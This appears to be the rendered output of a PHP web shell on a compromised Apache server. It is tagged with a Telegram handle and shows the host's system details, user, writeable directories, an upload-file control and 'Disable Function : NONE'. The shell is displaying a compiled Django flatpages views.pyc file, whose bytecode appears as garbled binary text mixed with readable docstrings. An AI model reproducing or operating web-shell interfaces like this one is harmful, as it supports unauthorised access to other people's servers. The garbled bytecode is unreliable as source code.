https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/flatpages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/flatpages/views.pyc
�
r�\c@s�ddlmZddlmZddlmZddlmZmZm	Z	ddl
mZddlm
Z
mZddlmZddlmZd	Zd
�Zed��ZdS(
i����(tsettings(tFlatPage(tget_current_site(tHttp404tHttpResponsetHttpResponsePermanentRedirect(tget_object_or_404(tloadertRequestContext(t	mark_safe(tcsrf_protectsflatpages/default.htmlcCs�|jd�sd|}nt|�j}yttd|d|�}Wn`tk
r�|jd�r�tjr�|d7}ttd|d|�}t	d|j
�S�nXt||�S(s3
    Public interface to the flat page view.

    Models: `flatpages.flatpages`
    Templates: Uses the template defined by the ``template_name`` field,
        or :template:`flatpages/default.html` if template_name is not defined.
    Context:
        flatpage
            `flatpages.flatpages` object
    t/t
url__exacttsites__id__exacts%s/(t
startswithRtidRRRtendswithRtAPPEND_SLASHRtpathtrender_flatpage(trequestturltsite_idtf((s@/tmp/pip-install-XxeQeY/django/django/contrib/flatpages/views.pytflatpages
	

	cCs�|jr6|jj�r6ddlm}||j�S|jrZtj|jt	f�}ntj
t	�}t|j�|_t|j
�|_
t|i|d6�}t|j|��}|S(s3
    Internal interface to the flat page view.
    i����(tredirect_to_loginR(tregistration_requiredtusertis_authenticatedtdjango.contrib.auth.viewsRRt
template_nameRtselect_templatetDEFAULT_TEMPLATEtget_templateR	ttitletcontentRRtrender(RRRtttctresponse((s@/tmp/pip-install-XxeQeY/django/django/contrib/flatpages/views.pyR/s
		
N(tdjango.confRtdjango.contrib.flatpages.modelsRtdjango.contrib.sites.modelsRtdjango.httpRRRtdjango.shortcutsRtdjango.templateRRtdjango.utils.safestringR	tdjango.views.decorators.csrfR
R RR(((s@/tmp/pip-install-XxeQeY/django/django/contrib/flatpages/views.pyt<module>s
	

https://t.me/AnonymousX5 - 2025